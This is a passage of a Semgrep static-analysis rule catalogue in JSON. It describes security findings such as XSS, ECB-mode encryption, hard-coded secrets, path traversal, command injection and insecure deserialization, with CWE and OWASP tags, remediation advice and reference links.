susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","id":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","name":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"help":{"markdown":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n - [https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0](https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0)\n","text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","id":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","name":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook OAuth detected"},"help":{"markdown":"Facebook OAuth detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook OAuth detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","id":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","name":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","id":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","name":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request)\n - [https://github.com/parnurzeal/gorequest](https://github.com/parnurzeal/gorequest)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","id":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","name":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","id":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","name":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","id":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","name":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a HTML string may result in XSS"},"help":{"markdown":"User controlled data in a HTML string may result in XSS\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"User controlled data in a HTML string may result in XSS"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat","id":"javascript.browser.security.raw-html-concat.raw-html-concat","name":"javascript.browser.security.raw-html-concat.raw-html-concat","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.raw-html-concat.raw-html-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask","id":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","name":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-json-flask.tainted-json-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"abi.encodePacked hash collision with variable length arguments in $F()"},"help":{"markdown":"abi.encodePacked hash collision with variable length arguments in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision)\n - [https://swcregistry.io/docs/SWC-133](https://swcregistry.io/docs/SWC-133)\n","text":"abi.encodePacked hash collision with variable length arguments in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision","id":"solidity.security.encode-packed-collision.encode-packed-collision","name":"solidity.security.encode-packed-collision.encode-packed-collision","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.encode-packed-collision.encode-packed-collision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false","id":"csharp.lang.audit.cookies.httponly-false.httponly-false","name":"csharp.lang.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","id":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","name":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","id":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","name":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"help":{"markdown":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor)\n - [https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability](https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability)\n","text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"helpUri":"https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","id":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","name":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","id":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","name":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","properties":{"precision":"very-high","tags":["CWE-94: Improper 